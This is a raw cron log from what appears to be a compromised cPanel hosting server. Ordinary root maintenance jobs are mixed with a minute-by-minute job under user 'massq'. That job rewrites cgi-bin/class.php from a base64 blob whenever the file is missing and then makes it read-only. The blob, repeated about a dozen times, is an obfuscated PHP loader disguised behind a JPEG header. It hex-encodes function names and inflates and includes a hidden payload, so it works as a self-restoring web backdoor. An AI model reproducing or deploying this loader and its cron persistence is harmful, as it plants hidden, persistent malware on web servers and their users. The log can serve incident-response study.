Nov 15 05:04:01 server CROND[16986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:05:01 server CROND[17264]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 05:05:01 server CROND[17265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:05:01 server CROND[17266]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 05:05:01 server CROND[17267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:05:01 server CROND[17268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:06:01 server CROND[17615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:07:01 server CROND[17928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:08:01 server CROND[18179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:09:01 server CROND[18591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:09:01 server CROND[18592]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:10:01 server CROND[18856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:10:01 server CROND[18855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:10:01 server CROND[18857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 05:10:01 server CROND[18863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:11:01 server CROND[19168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:12:01 server CROND[19424]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 05:12:01 server CROND[19425]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:13:01 server CROND[19680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:14:01 server CROND[19960]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:15:01 server CROND[20313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 05:15:01 server CROND[20312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 05:15:01 server CROND[20315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 05:16:01 server CROND[20631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
